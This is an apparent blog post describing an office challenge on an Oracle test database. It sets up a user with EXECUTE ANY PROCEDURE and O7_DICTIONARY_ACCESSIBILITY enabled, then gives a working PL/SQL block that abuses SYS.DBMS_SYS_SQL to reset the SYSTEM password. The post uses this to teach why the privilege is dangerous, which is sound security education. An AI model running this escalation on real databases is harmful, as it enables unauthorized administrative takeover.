Monday, February 18, 2013

Challenge Your Colleagues (No 1)

To set up this challenge, you need an Oracle test database. I used one running on Oracle 11.2.0.2.7 but this works on other versions too. First you need to create a user as follows:
 
SQL> create user scott identified by tiger
  2  /
 
User created.
 
SQL> grant create session,
  2  select any table,
  3  execute any procedure to scott
  4  /
 
Grant succeeded.
 
SQL>
 
Then you need to ensure that the database has the following initialization parameter set to TRUE:
 
SQL> l
  1  select value from v$parameter
  2* where name = 'O7_DICTIONARY_ACCESSIBILITY'
SQL> /
 
VALUE
------------------------------
TRUE
 
SQL>
 
Check that your colleagues will be able to connect to the database remotely using SQL*Plus:
 
SQL> conn scott/tiger@orcl
Connected.
SQL>
 
Then E-mail the challenge to them using the following text appropriately modified:
 
Dear Colleagues,
 
I would like to challenge you to reset the SYSTEM password in my test database, explain how you did it and tell me the new password. To solve this challenge, you must connect to the database from SQL*Plus as follows conn scott/tiger@orcl. Answers which involve connecting as any other user will not be allowed.
 
You have until 28th February (or some other date) to do this. All entries must be submitted by E-mail. A prize of a bar of chocolate / bottle of champagne (according to your budget) will be awarded to the first correct answer drawn at random.
 
Good luck
 
Andrew
 
Once the deadline has passed, send out the answer below, inserting the name of the actual winner at the end and award the prize:
 
Dear Colleagues,
 
User Scott had the SELECT ANY TABLE and EXECUTE ANY PROCEDURE system privileges:
 
SQL> conn scott/tiger@orcl
Connected.
SQL> select privilege from user_sys_privs
  2  /
 
PRIVILEGE
----------------------------------------
CREATE SESSION
SELECT ANY TABLE
EXECUTE ANY PROCEDURE
 
SQL>
 
The database had O7_DICTIONARY_ACCESSIBILITY set to TRUE:
 
SQL> conn scott/tiger@orcl
Connected.
SQL> l
  1  select value from v$parameter
  2* where name = 'O7_DICTIONARY_ACCESSIBILITY'
SQL> /
 
VALUE
------------------------------
TRUE
 
SQL>
 
This allowed him to reset the SYSTEM password as follows, which explains why we do not allow you to have the EXECUTE ANY PROCEDURE privilege:
 
SQL> CONN SCOTT/tiger@ORCL
Connected.
SQL> DECLARE
  2  USER_NO NUMBER;
  3  CHANGE_PASSWORD VARCHAR2(50) :=
  4  'ALTER USER SYSTEM IDENTIFIED BY NEW_PASSWORD';
  5  CURSOR_NO INTEGER;
  6  BEGIN
  7  SELECT USER_ID INTO USER_NO FROM ALL_USERS
  8  WHERE USERNAME = 'SYSTEM';
  9  CURSOR_NO:=SYS.DBMS_SYS_SQL.OPEN_CURSOR();
10  SYS.DBMS_SYS_SQL.PARSE_AS_USER
11  (CURSOR_NO,CHANGE_PASSWORD,DBMS_SQL.NATIVE,USER_NO);
12  SYS.DBMS_SYS_SQL.CLOSE_CURSOR(CURSOR_NO);
13  END;
14  /
 
PL/SQL procedure successfully completed.
 
SQL> CONN SYSTEM/NEW_PASSWORD@ORCL
Connected.
SQL> SHOW USER
USER is "SYSTEM"
SQL>
 
The winner of the challenge was John Smith.
 
Kind regards,
 
Andrew

No comments: